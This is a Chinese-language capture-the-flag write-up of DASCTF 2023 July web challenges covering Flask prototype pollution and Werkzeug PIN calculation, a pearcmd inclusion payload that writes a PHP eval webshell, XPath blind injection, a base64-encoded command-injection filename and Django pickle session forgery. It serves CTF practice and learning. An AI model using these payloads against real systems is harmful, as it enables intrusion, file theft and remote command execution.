DASCTF2023&0X401七月暑期挑战赛
最后更新时间:
文章总字数:
预计阅读时间:
DASCTF 2023 & 0X401七月暑期挑战赛
ezFlask
考察的是 Flask 算 pin 和 python 的原型链污染,参考文章:
https://www.cnblogs.com/Article-kelp/p/17068716.html
python 原型链污染讲的很详细,里面有很多种方法
此题给出了 python 的源码,一看到 merge 函数就要想起原型链污染!
非预期解
非预期解甚至有两种:
污染 __file__
直接读环境变量
题目首页给出了源码:
结合原型链污染可以污染 global 属性的特点,我们可以污染这个__file__
达到任意文件读取的效果,后面的预期解也是要这样做。
分析一下 register 的逻辑可以知道我们需要传入一段 json 数据,里面包含了 username 和 password,后对传入的 data 调用 merge,可以借此进行原型链污染。
1 | { |
和常规的原型链污染不同,这里通过 blacklist 禁用了__init__
,所以无法使用。但是其实 python 类中每一个方法都会带有__globals__
属性,找另一个方法 check 即可。
另外需要检查 Content-Type: application/json,否则注册失败,返回注册成功访问主页获得 flag。这个 /proc/1/environ
提供了与进程1相关的环境变量信息,而 docker 进程往往就是1,属于环境变量非预期。
pop 提供了另外一种绕过__init__
的方法,即传入__init\u005f_
,这是因为 check 之后会调用 json.loads 方法处理 json 数据,而 loads 会将数据转换成 unicode 编码,所以可以直接传入混合编码进行绕过。
修改静态目录
pop 的做法,实际上在上面那篇参考文章中也有提及:
此时http://domain/static/xxx
只能访问到文件系统当前目录下static
目录中的xxx
文件,并且不存在如目录穿越的漏洞,但是我们可以通过污染_static_url_path
来实现任意目录下文件的读取。
1 | { |
替换为根目录之后就可以通过http://domain/static/xxx
来访问根目录下的文件
预期 Flask 算 Pin
PIN码生成六要素,就一个一个找就行了,然后通过脚本直接生成
username:可以在任意文件读取下读取 /etc/password 进行猜测
modname:默认是 flask.app
appname:默认是 Flask
moddir:flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
uuidnode:mac地址的十进制:任意文件读取/sys/class/net/the0/address
machine_id:机器码,有两个值拼接而成。
参考文章(文章里面还有简单的绕过方法):
https://blog.csdn.net/qq_35782055/article/details/129126825
这里就不一个一个读了。算出来 pin 之后访问 /console 然后输入 pin 就可以执行命令了。
ezCMS
是一个熊海 CMS ,漏洞超级多,详见下面这篇文章:
https://blog.csdn.net/Alexz__/article/details/116301518
pearcmd
首先 /admin ,使用弱密码登录到后台,这里我们采用目录穿越文件包含漏洞来得到 flag ,使用了 pearcmd 。
1 | /admin/index.php?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);?>+../../../../../../../../tmp/shell.php |
具体参考下面这篇文章:
文件包含之pearcmd.php的妙用 | MissPower007博客 (sqlone.top)
注意这个 pearcmd.php 和 pear 命令不是一个东西!!一个是 php 文件,一个是命令,但是都是在 include 中应用,payload 格式稍有不同。 pear 命令具体参考下面这篇文章:
register_argc_argv与include to RCE的巧妙组合 - Longlone’s Blog
MyPicDisk
考察的是 XPath 盲注和文件名拼接,命令执行绕过
打开就一个登录页面,什么都没有,用户名输入 admin’ 看看有没有什么注入产生,发现提供了 /y0u_cant_find_1t.zip 源码,下载下来审计,关于登录的验证逻辑是这样的(没有登录成功的情况下,session 里面没有 user 值):
1 | if (!isset($_SESSION['user'])){ |
可以显然发现这不是从 SQL 里面获取数据,而是从 XML 文档里面获取,这里需要介绍一种和 SQL 类似的注入:XPath 注入。
XPath 注入
参考文章:
https://www.scip.ch/en/?labs.20180802
https://xz.aliyun.com/t/7791
XPath 是一种查询语言,它描述了如何在 XML 文档中查找特定元素(包括属性、处理指令等)。既然是一种查询语言,XPath 在一些方面与 SQL 相似,不过,XPath 的不同之处在于它可以用来引用 XML 文档的几乎任何部分,而不受访问控制限制。在 SQL 中,一个“用户”(在 XPath/XML 上下文中未定义的术语)的权限被限制在一个特定的数据库,表,列或者行。使用 XPath 注入攻击,攻击者可以修改 XPath 查询语句来执行所选择的操作。
这里没有回显,使用 XPath 盲注脚本(实际上原理和 SQL 盲注一样,只是具体语句有所更改,更改的样式可以参考上面提到的两篇文章的 XPath 语法,利用的是' or 1=1 or ''='
这个万能登录来注出管理员的密码)
主要是参考这篇,写的很清楚,一步一步教你写 payload :
https://xz.aliyun.com/t/7791
写脚本的时候还需要注意的问题是 XPath 里面并没有 ascii 方法,所以没法用二分法加速,而且也没有专门的注释符,要注意闭合,也没有合并查询的功能,可以先 count 一下,然后根据下标一个一个盲注。
1 | import requests |
命令拼接+绕过斜杠
成功以 admin 登录之后,可以看到有一个上传文件的功能点,可以继续审计源码,发现 FILE 类直接将文件名拼接到系统命令里了:
1 | public function __destruct(){ |
于是我们只需要在文件名写命令即可,这里要注意两个问题,第一个,审计源码会发现还限制了文件名必须以 .+jpg/png 结尾,记得加上,第二个,由于 unix 系统中,文件名不能出现斜杠,所以我们可以采用管道符加上 base64 来绕过:
文件名:;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;1.jpg
管道符的作用是将前一个的输出作为后一个的输入,上传后点击访问即可获得 flag 。
ez_py
考察 Django 框架的 session 伪造和 pickle 反序列化。
Django Session
关于 DjangoSession 的知识,这篇文章说得很好:
https://blog.csdn.net/ckk727/article/details/104648177#t1
审计源码可以发现,题目开启了 session,并且采用的是 PickleSerializer,而且告诉了 SECRET_KEY:
再结合文章里面说的如果泄露了 key 可能导致 pickle 反序列化攻击可知该题就是通过生成 恶意的session,经由 PickleSerializer 反序列化自动调用对象的 __reduce__
方法完成攻击。
看下 django 源码,dumps 生成 session 的位置 django/core/signing.py:
默认采用的 serializer 是 JSONSerializer,我们可以指定一个自定义的 PickleSerializer,或者直接使用 django.core.serializers.base 提供的 PickleSerializer
贴上生成 session 的脚本,pop 的,我这里可能版本有问题之类的总是报错()
1 | import django.core.signing |
复现完了,学到不少东西。